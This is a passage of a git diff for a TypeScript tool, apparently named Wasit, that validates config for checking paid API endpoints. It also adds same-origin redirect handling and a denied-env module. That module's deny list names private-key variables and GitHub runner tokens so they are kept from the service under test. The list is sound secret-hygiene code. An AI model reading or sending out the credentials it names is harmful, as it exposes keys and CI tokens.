(!isRecord(raw)) { + issues.add(path, "must be an object of header names to string values"); + return {}; + } + const seen = new Set(); + const headers: Array<[string, string]> = []; + for (const [name, value] of Object.entries(raw)) { + const here = at(path, name); + const lower = name.toLowerCase(); + if (!HEADER_TOKEN.test(name)) { + issues.add(here, "is not a valid header name"); + continue; + } + if (CREDENTIAL_HEADER_PARTS.some((part) => lower.includes(part))) { + issues.add( + here, + `a header named like a credential does not belong in a committed file: ` + + `send it with the environment variable ${headerEnvName(name)}`, + ); + continue; + } + if (OWN_HEADERS.has(lower)) { + issues.add(here, "is a header Wasit or the transport sets itself, so it cannot be set here"); + continue; + } + if (seen.has(lower)) { + issues.add(here, "is set twice (header names are not case-sensitive)"); + continue; + } + seen.add(lower); + if (typeof value !== "string") { + issues.add(here, "must be a string"); + } else if (CONTROL.test(value)) { + issues.add(here, "must not contain a control character (a line break would add a header)"); + } else if (value.length > MAX_HEADER_VALUE) { + issues.add(here, `must be at most ${MAX_HEADER_VALUE} characters`); + } else { + headers.push([name, value]); + } + } + return Object.fromEntries(headers); +} + +/** + * The headers given in the environment, by name in lower case. + * + * `WASIT_HEADER_` carries the header `` written in upper case with + * `-` as `_`. Values are secrets: they are never printed, and a refusal names + * the variable, not the value. A header Wasit sets itself cannot be given this + * way either; the credential-like names the file refuses are exactly what this + * is for. + * + * @throws {ConfigError} For a variable whose name or value cannot be a header. + */ +export function headersFromEnv(env: Readonly>): Record { + const prefix = "WASIT_HEADER_"; + const headers: Array<[string, string]> = []; + for (const [variable, value] of Object.entries(env)) { + if (!variable.startsWith(prefix) || value === undefined || value === "") continue; + const part = variable.slice(prefix.length); + const problem = (message: string): never => { + throw new ConfigError("Cannot read the header variables:", [{ path: variable, message }]); + }; + if (!/^[A-Z0-9][A-Z0-9_]*$/.test(part)) { + problem("after WASIT_HEADER_ use upper case letters, digits and underscores (an underscore stands for a hyphen)"); + } + const name = part.toLowerCase().replace(/_/g, "-"); + if (OWN_HEADERS.has(name)) problem("is a header Wasit or the transport sets itself, so it cannot be set here"); + if (CONTROL.test(value)) problem("has a value with a control character (a line break would add a header)"); + headers.push([name, value]); + } + return Object.fromEntries(headers); +} + +// --------------------------------------------------------------------------- +// Body + +function serializedBytes(body: JsonValue): number { + return Buffer.byteLength(typeof body === "string" ? body : JSON.stringify(body), "utf-8"); +} + +/** A body as the wire carries it: a string verbatim, anything else as JSON. */ +function serializeBody(body: JsonValue): string { + return typeof body === "string" ? body : JSON.stringify(body); +} + +function readBody(raw: unknown, method: string, path: string, issues: Issues): JsonValue | undefined { + if (raw === undefined) return undefined; + if (BODYLESS_METHODS.includes(method)) { + issues.add(path, `A request body cannot be sent with ${method}. Name the method the endpoint uses, e.g. POST`); + return undefined; + } + if (serializedBytes(raw as JsonValue) > MAX_BODY_BYTES) { + issues.add(path, `is larger than ${MAX_BODY_BYTES / 1024} KiB`); + return undefined; + } + return raw as JsonValue; +} + +// --------------------------------------------------------------------------- +// Sections + +function readService(raw: unknown, issues: Issues): ServiceConfig | undefined { + if (raw === undefined) return undefined; + if (!isRecord(raw)) { + issues.add("service", "must be an object"); + return undefined; + } + checkKeys(raw, ["start", "ready"], "service", issues); + + let start: string | undefined; + if (raw["start"] !== undefined) { + const value = raw["start"]; + if (typeof value !== "string" || value.trim() === "" || value.length > 500 || CONTROL.test(value)) { + issues.add("service.start", "must be one line of at most 500 characters: the command that starts the service"); + } else { + start = value; + } + } + + let ready: ReadyConfig | undefined; + if (raw["ready"] !== undefined) { + const value = raw["ready"]; + if (!isRecord(value)) { + issues.add("service.ready", "must be an object with a url"); + } else { + checkKeys(value, ["url", "timeoutSeconds"], "service.ready", issues); + const parsed = readHttpUrl(value["url"]); + let url: string | undefined; + if ("problem" in parsed) { + issues.add("service.ready.url", parsed.problem); + } else if (hasCredentials(parsed.url) || !isLoopbackHost(parsed.url.hostname)) { + issues.add( + "service.ready.url", + "must be an address on this machine (localhost, 127.x.x.x or [::1]) with no credentials: " + + "the wait probes the service the run starts, nothing else", + ); + } else { + url = value["url"] as string; + } + const timeout = value["timeoutSeconds"] === undefined ? 60 : value["timeoutSeconds"]; + if (typeof timeout !== "number" || !Number.isInteger(timeout) || timeout < 1 || timeout > 600) { + issues.add("service.ready.timeoutSeconds", "must be a whole number of seconds from 1 to 600"); + } else if (url !== undefined) { + ready = { url, timeoutSeconds: timeout }; + } + } + } + + return { ...(start === undefined ? {} : { start }), ...(ready === undefined ? {} : { ready }) }; +} + +function readPin(raw: unknown, path: string, issues: Issues): PinConfig | undefined { + if (!isRecord(raw)) { + issues.add(path, "must be an object with payTo and asset"); + return undefined; + } + checkKeys(raw, ["payTo", "asset"], path, issues); + const fields: Record = {}; + for (const key of ["payTo", "asset"] as const) { + const value = raw[key]; + if (typeof value !== "string" || !ADDRESS.test(value)) { + issues.add(at(path, key), "must be an address: 20 to 128 letters and digits, no spaces"); + } else { + fields[key] = value; + } + } + return fields["payTo"] !== undefined && fields["asset"] !== undefined + ? { payTo: fields["payTo"], asset: fields["asset"] } + : undefined; +} + +function readEnvironment(raw: unknown, path: string, issues: Issues): EnvironmentConfig | undefined { + if (!isRecord(raw)) { + issues.add(path, "must be an object"); + return undefined; + } + checkKeys(raw, ["baseUrl", "network", "operatedByMe", "pinned", "rpcUrl", "maxRunUsd"], path, issues); + const before = issues.list.length; + + const baseUrl = raw["baseUrl"] === undefined ? undefined : readBaseUrl(raw["baseUrl"], at(path, "baseUrl"), issues); + if (raw["baseUrl"] === undefined) issues.add(at(path, "baseUrl"), "is required"); + + const networkRaw = raw["network"] === undefined ? "stellar:testnet" : raw["network"]; + let network: string | undefined; + if (typeof networkRaw !== "string") { + issues.add(at(path, "network"), "must be a CAIP-2 network id, e.g. stellar:testnet"); + } else { + const verdict = validateNetwork(networkRaw); + if (verdict.valid) network = networkRaw; + else issues.add(at(path, "network"), `is not a usable network id. ${verdict.fix}`); + } + + const operatedRaw = raw["operatedByMe"] === undefined ? false : raw["operatedByMe"]; + if (typeof operatedRaw !== "boolean") issues.add(at(path, "operatedByMe"), "must be true or false"); + + const pinned = raw["pinned"] === undefined ? undefined : readPin(raw["pinned"], at(path, "pinned"), issues); + const rpcUrl = raw["rpcUrl"] === undefined ? undefined : readRpcUrl(raw["rpcUrl"], at(path, "rpcUrl"), issues); + + let maxRunUsd: number | undefined; + if (raw["maxRunUsd"] !== undefined) { + const value = raw["maxRunUsd"]; + if (typeof value !== "number" || !Number.isFinite(value) || value <= 0 || value > MAX_RUN_USD) { + issues.add(at(path, "maxRunUsd"), `must be a number above 0 and at most ${MAX_RUN_USD}: this setting can only lower the per-run cap`); + } else { + maxRunUsd = value; + } + } + + if (issues.list.length > before || baseUrl === undefined || network === undefined) return undefined; + return { + baseUrl, + network, + operatedByMe: operatedRaw as boolean, + ...(pinned === undefined ? {} : { pinned }), + ...(rpcUrl === undefined ? {} : { rpcUrl }), + ...(maxRunUsd === undefined ? {} : { maxRunUsd }), + }; +} + +function readReject(raw: unknown, endpointMethod: string, path: string, issues: Issues): RejectConfig | undefined { + if (!isRecord(raw)) { + issues.add(path, "must be an object with a method, headers or body that the service must refuse"); + return undefined; + } + checkKeys(raw, ["method", "headers", "body", "note"], path, issues); + if (raw["method"] === undefined && raw["headers"] === undefined && raw["body"] === undefined) { + issues.add(path, "must change something: set a method, headers or body"); + return undefined; + } + + let method: string | undefined; + if (raw["method"] !== undefined) { + const value = typeof raw["method"] === "string" ? raw["method"].toUpperCase() : ""; + if (HTTP_METHODS.includes(value)) method = value; + else issues.add(at(path, "method"), `must be one of ${HTTP_METHODS.join(", ")}`); + } + const headers = readHeaders(raw["headers"], at(path, "headers"), issues); + const body = readBody(raw["body"], method ?? endpointMethod, at(path, "body"), issues); + + let note: string | undefined; + if (raw["note"] !== undefined) { + if (typeof raw["note"] === "string" && raw["note"].length <= 200 && !CONTROL.test(raw["note"])) note = raw["note"]; + else issues.add(at(path, "note"), "must be one line of at most 200 characters"); + } + + return { + ...(method === undefined ? {} : { method }), + headers, + ...(body === undefined ? {} : { body }), + ...(note === undefined ? {} : { note }), + }; +} + +function readExpectation(raw: unknown, path: string, issues: Issues): ChannelExpectation | undefined { + if (!isRecord(raw)) { + issues.add(path, "must be an object"); + return undefined; + } + checkKeys(raw, ["token", "from", "to", "refundWaitingPeriod"], path, issues); + const expected: { token?: string; from?: string; to?: string; refundWaitingPeriod?: number } = {}; + if (raw["token"] !== undefined) { + if (typeof raw["token"] === "string" && StrKey.isValidContract(raw["token"])) expected.token = raw["token"]; + else issues.add(at(path, "token"), "must be a Soroban contract address (C...)"); + } + for (const key of ["from", "to"] as const) { + if (raw[key] === undefined) continue; + const value = raw[key]; + if (typeof value === "string" && StrKey.isValidEd25519PublicKey(value)) expected[key] = value; + else issues.add(at(path, key), "must be a Stellar account address (G...)"); + } + if (raw["refundWaitingPeriod"] !== undefined) { + const value = raw["refundWaitingPeriod"]; + if (typeof value === "number" && Number.isInteger(value) && value > 0) expected.refundWaitingPeriod = value; + else issues.add(at(path, "refundWaitingPeriod"), "must be a positive whole number of ledgers"); + } + return expected; +} + +function readEndpoint(raw: unknown, index: number, taken: Set, issues: Issues): EndpointConfig | undefined { + const path = `endpoints[${index}]`; + if (!isRecord(raw)) { + issues.add(path, "must be an object"); + return undefined; + } + checkKeys(raw, ["name", "protocol", "path", "method", "headers", "body", "reject", "channel", "expect"], path, issues); + const before = issues.list.length; + + const name = readName(raw["name"], at(path, "name"), "name", issues); + if (name !== undefined) { + if (taken.has(name)) issues.add(at(path, "name"), "is already used by an earlier endpoint"); + taken.add(name); + } + + const protocol = raw["protocol"]; + if (typeof protocol !== "string" || !PROTOCOL_IDS.includes(protocol as ProtocolId)) { + issues.add(at(path, "protocol"), `must be one of ${PROTOCOL_IDS.slice(0, -1).join(", ")} or ${PROTOCOL_IDS.at(-1)}`); + } + + const problem = pathProblem(raw["path"]); + if (problem !== undefined) issues.add(at(path, "path"), problem); + + const methodRaw = raw["method"] === undefined ? "GET" : raw["method"]; + const method = typeof methodRaw === "string" ? methodRaw.toUpperCase() : ""; + if (!HTTP_METHODS.includes(method)) issues.add(at(path, "method"), `must be one of ${HTTP_METHODS.join(", ")}`); + + const headers = readHeaders(raw["headers"], at(path, "headers"), issues); + const body = readBody(raw["body"], method, at(path, "body"), issues); + const reject = raw["reject"] === undefined ? undefined : readReject(raw["reject"], method, at(path, "reject"), issues); + + let channel: string | undefined; + let expect: ChannelExpectation | undefined; + if (raw["channel"] !== undefined) { + if (protocol !== "mpp-channel") issues.add(at(path, "channel"), "is only for the protocol mpp-channel"); + else if (typeof raw["channel"] === "string" && StrKey.isValidContract(raw["channel"])) channel = raw["channel"]; + else issues.add(at(path, "channel"), "must be a Soroban contract address (C...)"); + } + if (raw["expect"] !== undefined) { + if (protocol !== "mpp-channel") issues.add(at(path, "expect"), "is only for the protocol mpp-channel"); + else expect = readExpectation(raw["expect"], at(path, "expect"), issues); + } + + if (issues.list.length > before || name === undefined) return undefined; + return { + name, + protocol: protocol as ProtocolId, + path: raw["path"] as string, + method, + headers, + ...(body === undefined ? {} : { body }), + ...(reject === undefined ? {} : { reject }), + ...(channel === undefined ? {} : { channel }), + ...(expect === undefined ? {} : { expect }), + }; +} + +// --------------------------------------------------------------------------- +// The file + +/** + * Validates parsed JSON as a version 1 config. + * + * @throws {ConfigError} Naming every key that is wrong, never a value. + */ +export function validateConfig(value: unknown): WasitConfig { + const issues = new Issues(); + if (!isRecord(value)) { + issues.add("", "must be a JSON object"); + return failWith(issues); + } + + // First: a secret anywhere. Nothing else is read, so no other message can echo it. + scanForSecrets(value, "", 0, issues); + failIfAny(issues); + + checkKeys(value, ["$schema", "version", "service", "defaultEnvironment", "environments", "endpoints"], "", issues); + + const version = value["version"]; + if (version !== CONFIG_VERSION) { + issues.add( + "version", + `this loader reads only version ${CONFIG_VERSION}` + + (typeof version === "number" && Number.isFinite(version) ? ` (this file says version ${version})` : " and the file must say `\"version\": 1`"), + ); + } + if (value["$schema"] !== undefined && (typeof value["$schema"] !== "string" || value["$schema"].length > 200)) { + issues.add("$schema", "must be a string of at most 200 characters"); + } + + const service = readService(value["service"], issues); + + const environments: Array<[string, EnvironmentConfig]> = []; + const environmentsRaw = value["environments"]; + if (!isRecord(environmentsRaw) || Object.keys(environmentsRaw).length === 0) { + issues.add("environments", "must be an object with at least one environment"); + } else { + for (const [name, raw] of Object.entries(environmentsRaw)) { + const path = at("environments", name); + if (readName(name, path, "an environment name", issues) === undefined) continue; + const environment = readEnvironment(raw, path, issues); + if (environment !== undefined) environments.push([name, environment]); + } + } + + let defaultEnvironment: string | undefined; + if (value["defaultEnvironment"] !== undefined) { + const named = value["defaultEnvironment"]; + if (typeof named === "string" && isRecord(environmentsRaw) && Object.hasOwn(environmentsRaw, named)) { + defaultEnvironment = named; + } else { + issues.add("defaultEnvironment", "is not one of the environments"); + } + } + + const endpoints: EndpointConfig[] = []; + const endpointsRaw = value["endpoints"]; + if (!Array.isArray(endpointsRaw) || endpointsRaw.length === 0) { + issues.add("endpoints", "must be a list with at least one endpoint"); + } else if (endpointsRaw.length > MAX_ENDPOINTS) { + issues.add("endpoints", `must have at most ${MAX_ENDPOINTS} endpoints`); + } else { + const taken = new Set(); + endpointsRaw.forEach((raw, index) => { + const endpoint = readEndpoint(raw, index, taken, issues); + if (endpoint !== undefined) endpoints.push(endpoint); + }); + } + + failIfAny(issues); + return { + version: CONFIG_VERSION, + ...(service === undefined ? {} : { service }), + ...(defaultEnvironment === undefined ? {} : { defaultEnvironment }), + environments: Object.fromEntries(environments), + endpoints, + }; +} + +function failWith(issues: Issues): never { + throw new ConfigError(TITLE, issues.list); +} + +/** + * The position of the first syntax error in `text`, if it is not JSON. + * + * V8's own message quotes the text around the error, which here could be a + * secret, so the position is found by a small scanner and the message is not + * used. + */ +function jsonErrorPosition(text: string): number | undefined { + let i = 0; + const fail = (): never => { + throw i; + }; + const space = (): void => { + while (i < text.length && " \t\n\r".includes(text[i]!)) i += 1; + }; + const literal = (word: string): void => { + if (!text.startsWith(word, i)) fail(); + i += word.length; + }; + const string = (): void => { + i += 1; + for (;;) { + const char = text[i]; + if (char === undefined || char < " ") fail(); + if (char === '"') { + i += 1; + return; + } + if (char === "\\") { + i += 1; + const escape = text[i]; + if (escape === "u") { + if (!/^[0-9a-fA-F]{4}/.test(text.slice(i + 1, i + 5))) fail(); + i += 4; + } else if (escape === undefined || !'"\\/bfnrt'.includes(escape)) { + fail(); + } + } + i += 1; + } + }; + const number = /-?(0|[1-9]\d*)(\.\d+)?([eE][+-]?\d+)?/y; + const value = (depth: number): void => { + if (depth > 256) fail(); + space(); + const char = text[i]; + if (char === "{") { + i += 1; + space(); + if (text[i] === "}") { + i += 1; + return; + } + for (;;) { + space(); + if (text[i] !== '"') fail(); + string(); + space(); + if (text[i] !== ":") fail(); + i += 1; + value(depth + 1); + space(); + if (text[i] === ",") i += 1; + else if (text[i] === "}") { + i += 1; + return; + } else fail(); + } + } else if (char === "[") { + i += 1; + space(); + if (text[i] === "]") { + i += 1; + return; + } + for (;;) { + value(depth + 1); + space(); + if (text[i] === ",") i += 1; + else if (text[i] === "]") { + i += 1; + return; + } else fail(); + } + } else if (char === '"') { + string(); + } else if (char === "t") { + literal("true"); + } else if (char === "f") { + literal("false"); + } else if (char === "n") { + literal("null"); + } else { + number.lastIndex = i; + if (!number.test(text)) fail(); + i = number.lastIndex; + } + }; + try { + value(0); + space(); + if (i < text.length) fail(); + } catch (position) { + return typeof position === "number" ? position : undefined; + } + return undefined; +} + +/** `line L, column C` of a position in `text`, counting from 1. */ +function lineAndColumn(text: string, position: number): string { + const before = text.slice(0, position); + const line = before.split("\n").length; + const column = position - (before.lastIndexOf("\n") + 1) + 1; + return `line ${line}, column ${column}`; +} + +/** + * Parses config text. + * + * @throws {ConfigError} For text that is not JSON (located by line and column, never quoted), or a config that is not valid. + */ +export function parseConfig(text: string): WasitConfig { + const source = text.charCodeAt(0) === 0xfeff ? text.slice(1) : text; + let value: unknown; + try { + value = JSON.parse(source); + } catch { + const position = jsonErrorPosition(source); + throw new ConfigError(TITLE, [ + { path: "", message: `is not valid JSON${position === undefined ? "" : ` (${lineAndColumn(source, position)})`}` }, + ]); + } + return validateConfig(value); +} + +/** + * Reads and parses a config file. + * + * @throws {ConfigError} For a file that cannot be read, is too large, or is not a valid config. + */ +export function readConfigFile(path: string | URL): WasitConfig { + const shown = sanitizeText(String(path)).replace(/\s+/g, " ").slice(0, 200); + let text: string; + try { + if (statSync(path).size > MAX_CONFIG_BYTES) { + throw new ConfigError(TITLE, [{ path: "", message: `${shown} is larger than ${MAX_CONFIG_BYTES / 1024} KiB` }]); + } + text = readFileSync(path, "utf-8"); + } catch (error) { + if (error instanceof ConfigError) throw error; + const code = (error as { code?: unknown }).code; + throw new ConfigError(TITLE, [ + { path: "", message: `cannot read ${shown}${typeof code === "string" ? ` (${code})` : ""}` }, + ]); + } + return parseConfig(text); +} + +// --------------------------------------------------------------------------- +// A run + +export interface RunSelection { + /** `--env`. Else the config's `defaultEnvironment`, else the only environment. */ + readonly environment?: string; + /** `--endpoint`, by name. Else all, in the config's order. */ + readonly endpoints?: readonly string[]; +} + +export interface ResolvedReject { + readonly method?: string; + readonly headers: Readonly>; + readonly body?: string; + readonly note?: string; +} + +export interface ResolvedEndpoint { + readonly name: string; + readonly protocol: ProtocolId; + readonly method: string; + readonly path: string; + /** `baseUrl` + `path`; always the origin of `baseUrl`. */ + readonly url: string; + /** The file's headers with `WASIT_HEADER_*` over them. Values are secrets: never print this object. */ + readonly headers: Readonly>; + /** Serialised: a JSON value as JSON, a string verbatim. */ + readonly body?: string; + /** Exactly what the file says; the check that uses it decides how it applies to the request. */ + readonly reject?: ResolvedReject; + readonly channel?: string; + readonly expect?: ChannelExpectation; +} + +export interface ResolvedRun { + readonly environment: string; + readonly baseUrl: string; + readonly network: string; + readonly networkClass: NetworkClass; + readonly operatedByMe: boolean; + readonly pinned?: PinConfig; + /** Full URL: may carry a key. Print only {@link urlOrigin} of it. */ + readonly rpcUrl?: string; + readonly maxRunUsd?: number; + readonly service?: ServiceConfig; + readonly endpoints: readonly ResolvedEndpoint[]; +} + +function selectEnvironment(config: WasitConfig, requested: string | undefined): string { + const names = Object.keys(config.environments); + const list = `the environments are: ${names.join(", ")}`; + if (requested !== undefined) { + if (Object.hasOwn(config.environments, requested)) return requested; + throw new ConfigError("Cannot pick an environment:", [{ path: "--env", message: `no such environment; ${list}` }]); + } + if (config.defaultEnvironment !== undefined) return config.defaultEnvironment; + if (names.length === 1) return names[0]!; + throw new ConfigError("Cannot pick an environment:", [ + { path: "--env", message: `more than one environment and no defaultEnvironment; pass --env. ${list}` }, + ]); +} + +function selectEndpoints(config: WasitConfig, requested: readonly string[] | undefined): readonly EndpointConfig[] { + if (requested === undefined || requested.length === 0) return config.endpoints; + const known = new Set(config.endpoints.map((endpoint) => endpoint.name)); + const missing = requested.filter((name) => !known.has(name)); + if (missing.length > 0) { + throw new ConfigError("Cannot pick endpoints:", [ + { + path: "--endpoint", + message: `no endpoint named ${missing.join(", ")}; the endpoints are: ${[...known].join(", ")}`, + }, + ]); + } + const wanted = new Set(requested); + return config.endpoints.filter((endpoint) => wanted.has(endpoint.name)); +} + +/** Merges `over` onto `base` by header name, case-insensitively; the name keeps the case of the one that wins. */ +function mergeHeaders(base: Readonly>, over: Readonly>): Record { + const overridden = new Set(Object.keys(over).map((name) => name.toLowerCase())); + return Object.fromEntries([ + ...Object.entries(base).filter(([name]) => !overridden.has(name.toLowerCase())), + ...Object.entries(over), + ]); +} + +/** + * Turns a validated config into what a run uses. + * + * Picks the environment and endpoints, joins each path to the base URL, applies + * the `WASIT_HEADER_*` and `WASIT_RPC_URL` variables of `env` (injected, so a + * test needs no process state), and serialises bodies. + * + * @throws {ConfigError} For an environment or endpoint that does not exist, a bad variable, or a path that could leave the origin. + */ +export function resolveRun( + config: WasitConfig, + selection: RunSelection, + env: Readonly>, +): ResolvedRun { + const name = selectEnvironment(config, selection.environment); + const environment = config.environments[name]!; + const endpoints = selectEndpoints(config, selection.endpoints); + const fromEnv = headersFromEnv(env); + + let rpcUrl = environment.rpcUrl; + const override = env["WASIT_RPC_URL"]; + if (override !== undefined && override !== "") { + const parsed = readHttpUrl(override); + if ("problem" in parsed) { + throw new ConfigError("Cannot read the RPC variable:", [{ path: "WASIT_RPC_URL", message: parsed.problem }]); + } + rpcUrl = override; + } + + return { + environment: name, + baseUrl: environment.baseUrl, + network: environment.network, + networkClass: networkClass(environment.network), + operatedByMe: environment.operatedByMe, + ...(environment.pinned === undefined ? {} : { pinned: environment.pinned }), + ...(rpcUrl === undefined ? {} : { rpcUrl }), + ...(environment.maxRunUsd === undefined ? {} : { maxRunUsd: environment.maxRunUsd }), + ...(config.service === undefined ? {} : { service: config.service }), + endpoints: endpoints.map((endpoint) => ({ + name: endpoint.name, + protocol: endpoint.protocol, + method: endpoint.method, + path: endpoint.path, + url: joinTarget(environment.baseUrl, endpoint.path), + headers: mergeHeaders(endpoint.headers, fromEnv), + ...(endpoint.body === undefined ? {} : { body: serializeBody(endpoint.body) }), + ...(endpoint.reject === undefined + ? {} + : { + reject: { + ...(endpoint.reject.method === undefined ? {} : { method: endpoint.reject.method }), + headers: endpoint.reject.headers, + ...(endpoint.reject.body === undefined ? {} : { body: serializeBody(endpoint.reject.body) }), + ...(endpoint.reject.note === undefined ? {} : { note: endpoint.reject.note }), + }, + }), + ...(endpoint.channel === undefined ? {} : { channel: endpoint.channel }), + ...(endpoint.expect === undefined ? {} : { expect: endpoint.expect }), + })), + }; +} + +/** The origin of a URL, which is all of an RPC URL that is ever printed: a key often rides in its path or query. */ +export function urlOrigin(url: string): string { + try { + const parsed = new URL(url); + return parsed.protocol === "http:" || parsed.protocol === "https:" ? parsed.origin : "(not an http URL)"; + } catch { + return "(not a URL)"; + } +} + +const NETWORK_CLASS_LABEL: Readonly> = { + test: "test network", + "mainnet-optin": "mainnet", + unknown: "network Wasit does not know", +}; + +/** + * A short description of a run for a terminal or a log: the environment, base + * URL, network, the RPC origin and the endpoints. No header value, no pin + * secret, no RPC path or query. Sanitised. + */ +export function describeRun(run: ResolvedRun): string { + const lines = [ + `Environment ${run.environment}: ${run.baseUrl}`, + `Network: ${run.network} (${NETWORK_CLASS_LABEL[run.networkClass]})`, + ...(run.rpcUrl === undefined ? [] : [`RPC: ${urlOrigin(run.rpcUrl)} (origin only)`]), + ...(run.maxRunUsd === undefined ? [] : [`Per-run cap: $${run.maxRunUsd}`]), + `Endpoints: ${run.endpoints.length}`, + ...run.endpoints.map((endpoint) => ` ${endpoint.name} ${endpoint.protocol} ${endpoint.method} ${endpoint.path}`), + ]; + return sanitizeText(lines.join("\n")); +} diff --git a/packages/core/src/denied-env.ts b/packages/core/src/denied-env.ts new file mode 100644 index 0000000..7281ae2 --- /dev/null +++ b/packages/core/src/denied-env.ts @@ -0,0 +1,90 @@ +/** + * The environment variables Wasit keeps away from the service it starts, and + * whose values it keeps out of every output. + * + * The names are fixed in code, not configurable (spec A1): a changed config must + * never be able to make a run read another key, or let one reach a service. They + * are the five variables the checks read their keys from, the one mainnet payer + * variable, and the whole `WASIT_` namespace, which covers `WASIT_HEADER_*`, + * `WASIT_RPC_URL` and anything added later. + * + * A deny-list, not an allow-list, on purpose: the service is the builder's own + * app and needs variables Wasit cannot list (PATH, HOME, NODE_OPTIONS, its own + * facilitator and database settings). The threat is Wasit's own variable names, + * and those are known. A key under a name Wasit does not know is not removed. + */ + +/** The variables the checks read a key from. */ +export const DENIED_ENV_NAMES: readonly string[] = [ + "STELLAR_PRIVATE_KEY", + "EVM_PRIVATE_KEY", + "SVM_PRIVATE_KEY", + "MPP_PAYER_SECRET", + "COMMITMENT_SECRET_HEX", + "WASIT_MAINNET_PAYER_SECRET", +]; + +/** + * The runner's own variables, kept from the service as well. The command files + * are read by the runner after the step: a service that writes `GITHUB_ENV` or + * `GITHUB_PATH` changes the environment or the PATH of the later steps, which + * hold the job's token. The tokens are the job's own credentials. This is + * hygiene, not isolation: the service runs as the job's user and can still look + * in the runner's directories. Not in {@link DENIED_ENV_NAMES}: their values are + * paths, not keys, and `GITHUB_STEP_SUMMARY` is what `wasit ci-report` writes to. + */ +const RUNNER_ENV_NAMES: readonly string[] = [ + "GITHUB_ENV", + "GITHUB_PATH", + "GITHUB_OUTPUT", + "GITHUB_STATE", + "GITHUB_STEP_SUMMARY", + "GH_TOKEN", + "GITHUB_TOKEN", + "ACTIONS_RUNTIME_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_URL", +]; + +/** Every variable in this namespace is Wasit's own. */ +const WASIT_PREFIX = "WASIT_"; + +/** The variables whose value is a header Wasit sends or the RPC url, in the `WASIT_` namespace. */ +const HEADER_PREFIX = "WASIT_HEADER_"; +const RPC_VARIABLE = "WASIT_RPC_URL"; + +/** + * True when a service must not see this variable. + * + * Compared in upper case: a Windows environment is case-insensitive, so a + * variable spelt `Stellar_Private_Key` is the same one there. Dropping a + * differently spelt variable on other systems costs nothing. + */ +export function isDeniedEnvName(name: string): boolean { + const upper = name.toUpperCase(); + return DENIED_ENV_NAMES.includes(upper) || RUNNER_ENV_NAMES.includes(upper) || upper.startsWith(WASIT_PREFIX); +} + +/** A copy of `env` without the denied variables and without unset ones. */ +export function scrubEnv(env: Readonly>): Record { + const clean: Record = {}; + for (const [name, value] of Object.entries(env)) { + if (value !== undefined && !isDeniedEnvName(name)) clean[name] = value; + } + return clean; +} + +/** + * The values no output may carry: the keys, the header values and the RPC url + * (which often carries a key). Pass them to the sanitiser's `redact` option. + * Empty values are left out. + */ +export function deniedEnvValues(env: Readonly>): string[] { + const values: string[] = []; + for (const [name, value] of Object.entries(env)) { + if (value === undefined || value === "") continue; + const upper = name.toUpperCase(); + if (DENIED_ENV_NAMES.includes(upper) || upper.startsWith(HEADER_PREFIX) || upper === RPC_VARIABLE) values.push(value); + } + return values; +} diff --git a/packages/core/src/errors.ts b/packages/core/src/errors.ts index cea5cf6..4de1103 100644 --- a/packages/core/src/errors.ts +++ b/packages/core/src/errors.ts @@ -14,6 +14,8 @@ * the call site knows what it was doing and wraps accordingly. */ +import { sanitizeText } from "./sanitize.js"; + /** Why a check could not produce a verdict about the target. */ export type CheckErrorKind = | "unreachable" @@ -75,6 +77,18 @@ export class CheckSetupError extends Error { } } +/** + * The target answered with a redirect that Wasit will not follow, or will not + * follow again. Nothing is learned about the target's conformance, only that the + * route does not stay inside the origin the run was pointed at. + */ +export class RedirectRefusedError extends ConfigurationError { + public constructor(message: string) { + super(message); + this.name = "RedirectRefusedError"; + } +} + /** No HTTP conversation took place: the connection never succeeded. */ export class TargetUnreachableError extends Error { public readonly target: string; @@ -178,12 +192,129 @@ function baseFetch(): typeof fetch { return current; } +/** How `fetchTarget` treats a redirect. */ +export interface FetchTargetOptions { + /** + * `"follow"` (the default) is fetch's own behaviour, any redirect to any + * host, and is what every call that carries or precedes a payment still + * uses. `"same-origin"` is the rule for the read-only tier: a redirect inside + * the origin of `target` is followed once, anything else is refused with a + * {@link RedirectRefusedError} and nothing is sent to the other origin. + */ + readonly redirects?: "follow" | "same-origin"; +} + +const REDIRECT_STATUSES: ReadonlySet = new Set([301, 302, 303, 307, 308]); + +/** Request-body headers that must not outlive a redirect that drops the body. */ +const BODY_HEADERS = ["content-type", "content-length", "content-encoding", "content-language", "content-location"]; + +/** The origin of a URL for a message: http(s) origins only, never a path, query or credentials. */ +function describeOrigin(url: URL): string { + return url.protocol === "http:" || url.protocol === "https:" ? url.origin : `a ${url.protocol} URL`; +} + +/** + * Where a response sends the request next, or undefined when it is not a + * redirect. A 3xx without a `Location` (or a 300 or 304) is not a redirect to + * follow: it is returned as the answer, and the check reports its status. + */ +function redirectLocation(response: Response, from: URL): URL | undefined { + const location = response.headers.get("location"); + if (!REDIRECT_STATUSES.has(response.status) || location === null) return undefined; + + let next: URL; + try { + next = new URL(location, from); + } catch { + throw new RedirectRefusedError( + `The route answers ${response.status} with a Location that is not a valid URL, so ` + + `Wasit did not follow it.`, + ); + } + if (next.username !== "" || next.password !== "") { + throw new RedirectRefusedError( + `The route redirects to a URL that carries credentials, so Wasit did not follow it.`, + ); + } + return next; +} + +/** The request a redirect leads to: a POST on 301 to 303, and any non-HEAD on 303, becomes a GET without a body. */ +function redirectedInit(init: RequestInit | undefined, status: number): RequestInit { + const method = (init?.method ?? "GET").toUpperCase(); + const becomesGet = + (status === 303 && method !== "GET" && method !== "HEAD") || + ((status === 301 || status === 302) && method === "POST"); + if (!becomesGet) return init ?? {}; + + const { body: _body, headers, ...rest } = init ?? {}; + const kept = new Headers(headers); + for (const name of BODY_HEADERS) kept.delete(name); + return { ...rest, method: "GET", headers: kept }; +} + +/** One request, never following a redirect, with the same "never connected" wrapping as `fetchTarget`. */ +async function fetchOnce(target: string, init: RequestInit | undefined): Promise { + try { + return await baseFetch()(target, { ...init, redirect: "manual" }); + } catch (error) { + throw new TargetUnreachableError(target, error); + } +} + +/** Frees the connection of a response whose body nobody will read. */ +async function discard(response: Response): Promise { + try { + await response.body?.cancel(); + } catch { + // The connection is closed either way. + } +} + +/** + * The same-origin rule: follow one redirect inside the origin, refuse any other. + * + * A second redirect is refused even when it stays inside the origin: a chain + * is not something a paywall needs, and a loop must end. + */ +async function fetchSameOrigin(target: string, init: RequestInit | undefined): Promise { + const from = new URL(target); + const first = await fetchOnce(target, init); + const next = redirectLocation(first, from); + if (next === undefined) return first; + await discard(first); + + if (next.origin !== from.origin || (next.protocol !== "http:" && next.protocol !== "https:")) { + throw new RedirectRefusedError( + `The route redirects to 